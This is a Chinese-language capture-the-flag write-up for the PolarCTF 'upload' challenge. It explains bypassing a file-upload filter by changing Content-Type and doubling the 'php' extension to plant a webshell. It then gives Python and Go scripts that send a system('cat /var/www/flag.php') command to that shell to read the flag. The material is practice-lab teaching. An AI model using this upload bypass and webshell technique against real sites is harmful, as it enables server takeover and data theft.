Polar Web【简单】upload
Contents
- Polar Web【简单】upload
- 思路
- EXP
- Python
- Go
- 运行&总结
思路
如题目所说,本题考查的是文件上传漏洞的渗透技巧。
- 打开环境,发现需要上传的是图片文件,故考虑使用截取数据包进行数据修改进行重放。
- 在重发器中修改
Content-Type
后,正常上传shell.php
发现,程序过滤了文件后缀php
,因此考虑进行双写尝试绕过,双写处理后上传发现,程序只做一次过滤,至此成功上传木马。- 本题尝试使用脚本代替工具进行测试,具体逻辑如后文代码所示,最终拿取
flag
。
EXP
Python
import requestsdef exe(url):command = 'system("cat /var/www/flag.php");'data = {'cmd': command}resp = requests.post(url=url, data=data)if resp.text:out = resp.textprint(out[out.rindex('flag'):out.rindex("'")])else:print("Nothing...")if __name__ == '__main__':u = 'http://~.www.polarctf.com:8090/upload/[your_number]shell.php'exe(url=u)
Go
package mainimport ("fmt""io/ioutil""net/http""net/url""strings"
)func attack(url_ string) {data := url.Values{}data.Add("cmd", "system(\"cat /var/www/flag.php\");")if resp, err := http.PostForm(url_, data); err != nil {panic("GET ERR: " + err.Error())} else {out, _ := ioutil.ReadAll(resp.Body)ans := string(out)fmt.Println(ans[strings.LastIndex(ans, "flag"): strings.LastIndex(ans, "'")])}
}func main() {baseURL := "http://~.www.polarctf.com:8090/upload/[your_number]shell.php"// 解析基础 URLu, err := url.Parse(baseURL)if err != nil {panic(err)}attack(u.String())
}
运行&总结
- 本题主要考查了文件上传漏洞中的双写绕过技巧
- 借以本题,进行了使用脚本进行Webshell利用的尝试